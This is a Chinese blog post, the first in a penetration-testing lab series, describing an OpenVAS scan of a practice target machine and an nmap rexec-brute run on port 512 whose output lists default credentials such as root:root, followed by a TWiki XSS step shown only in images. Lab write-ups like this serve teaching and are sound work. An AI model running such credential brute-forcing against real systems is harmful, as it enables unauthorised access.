渗透测试靶机实战---系统篇01

左手的ㄟ右手 2023-06-06 16:23 374阅读 0赞

# **[渗透测试靶机实战---01][---01]** #

### 渗透测试前期准备工作： ###

1. 靶机搭建 (网上很多，可直接找到现成的，具体搭建过程略过)

2. OpenVAS 扫描靶机得出漏洞报告

1. OpenVas 搭建步骤可参照：[https://blog.51cto.com/linhong/2134910?source=drh][https_blog.51cto.com_linhong_2134910_source_drh]

2. 报告地址：[https://download.csdn.net/download/m0\_37268841/11855947][https_download.csdn.net_download_m0_37268841_11855947]

3.漏洞明细：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 1][]

--------------------

# 渗透测试实战： #

### 1.  [rexec Passwordless / Unencrypted Cleartext Login][rexec Passwordless _ Unencrypted Cleartext Login] ###

root@kali:~# nmap -p 512 --script rexec-brute *.*.*.* (here input the ipaddress)
    Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-12 13:39 CST
    Nmap scan report for 192.168.10.149
    Host is up (0.081s latency).
    
    PORT    STATE SERVICE
    512/tcp open  exec
    | rexec-brute:
    |   Accounts:
    |     root:root - Valid credentials
    |     netadmin:netadmin - Valid credentials
    |     user:user - Valid credentials
    |     guest:guest - Valid credentials
    |     web:12345 - Valid credentials
    |     webadmin:webadmin - Valid credentials
    |     administrator:administrator - Valid credentials
    |     sysadmin:sysadmin - Valid credentials
    |     admin:admin - Valid credentials
    |     test:test - Valid credentials
    |_  Statistics: Performed 26 guesses in 1 seconds, average tps: 26.0
    
    Nmap done: 1 IP address (1 host up) scanned in 2.02 seconds
    root@kali:~#

可以看到通过这个漏洞，用户名/密码都能爆出来。

### 2.  TWiki XSS and Command Execution Vulnerabilities （Port: 80） ###

1. 这个高危漏洞属于应用层的漏洞，web页面的漏洞

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 2][]

2. 这边可以针对Twiki进行扫描：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 3][]

3.利用XSS漏洞：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 4][]

[渗透测试靶机实战---02][---02]

[---01]: https://blog.csdn.net/m0_37268841/article/details/102517281
[https_blog.51cto.com_linhong_2134910_source_drh]: https://blog.51cto.com/linhong/2134910?source=drh
[https_download.csdn.net_download_m0_37268841_11855947]: https://download.csdn.net/download/m0_37268841/11855947
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70]: /images/20230601/51bcb1ea9a0340d8a4c58e9b118ca04b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 1]: /images/20230601/51bec5472a9546029c70fd2aae9217c1.png
[rexec Passwordless _ Unencrypted Cleartext Login]: https://127.0.0.1:9392/omp?cmd=get_result&result_id=04e87373-e015-45be-aca4-ffe18b6755c7&apply_overrides=&min_qod=&task_id=59343837-c2b5-41b6-810e-71c2c0a71407&name=CardoPC4&report_id=a09dbc6c-39e4-49cd-baa5-8fc813cb6bf6&filter=autofp%3D0%20apply_overrides%3D1%20notes%3D1%20overrides%3D1%20result_hosts_only%3D1%20first%3D1%20rows%3D100%20sort-reverse%3Dseverity%20levels%3Dhml%20min_qod%3D70&filt_id=&overrides=&autofp=&report_result_id=04e87373-e015-45be-aca4-ffe18b6755c7&token=587bcf69-dc0a-4aac-8b77-6f4deca8032c
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 2]: /images/20230601/82b5aecc0f52465a8aafe652d0f46bdb.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 3]: /images/20230601/6eef3b35c29d4a1a9fc8604ffe051f99.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzM3MjY4ODQx_size_16_color_FFFFFF_t_70 4]: /images/20230601/2c82ffbf23bc4b42a4bf5a3901f9ff61.png
[---02]: https://blog.csdn.net/m0_37268841/article/details/102522247